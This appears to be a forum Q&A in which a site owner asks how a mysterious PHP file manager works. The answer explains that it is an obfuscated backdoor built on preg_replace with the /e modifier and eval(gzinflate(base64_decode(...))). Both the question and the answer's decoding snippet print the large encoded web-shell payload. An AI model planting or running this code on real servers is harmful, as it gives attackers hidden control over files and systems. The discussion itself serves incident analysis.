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php - How does this giant regex work?

I recently found the code below in one of my directories, in a file called doc.php. The file functions or links to a file manager. It's quite nicely done. Basically, it lists all the files in the current directory, and it lets you change directories.

It had access to all my files (add, rename, info, delete...). I don't remember installing it. I deleted it, deleted a few suspicious and large files simple called core and reset all my passwords.

Googling some of the code snippets leads to a lot of results, most of them not very informative... However, here is a more informative result.

However, I'm not sure I understand how this thing works. I have a few questions:

  1. What possible ways could this have gotten on my site / directory?
  2. How can I trace back what the results of the preg_replace look like?

    <?php 
    $auth_pass = ""; 
    $color = "#df5"; 
    $default_action = "FilesMan"; 
    $default_charset = "Windows-1251"; 
    preg_replace("/.*/e","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This is not entirely a regular expression. The regex is /.*/, which basically means "match everything". The /e Modifier however eval()'s the code in the next parameter. In fact this is a way for someone to hide code. The following proof that this is a backdoor, and you must remove it immediately. Your system maybe compromised further.

This is what the backdoor looks like when it is accessed:

Server security information

the hex part of the code:

x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28

is acutally: eval(gzinflate(base64_decode(

This is the code will print out the source code for this backdoor. However i would not execute the resulting PHP code, unless it is on a disposable virtual machine.

<?php
print  gzinflate(base64_decode("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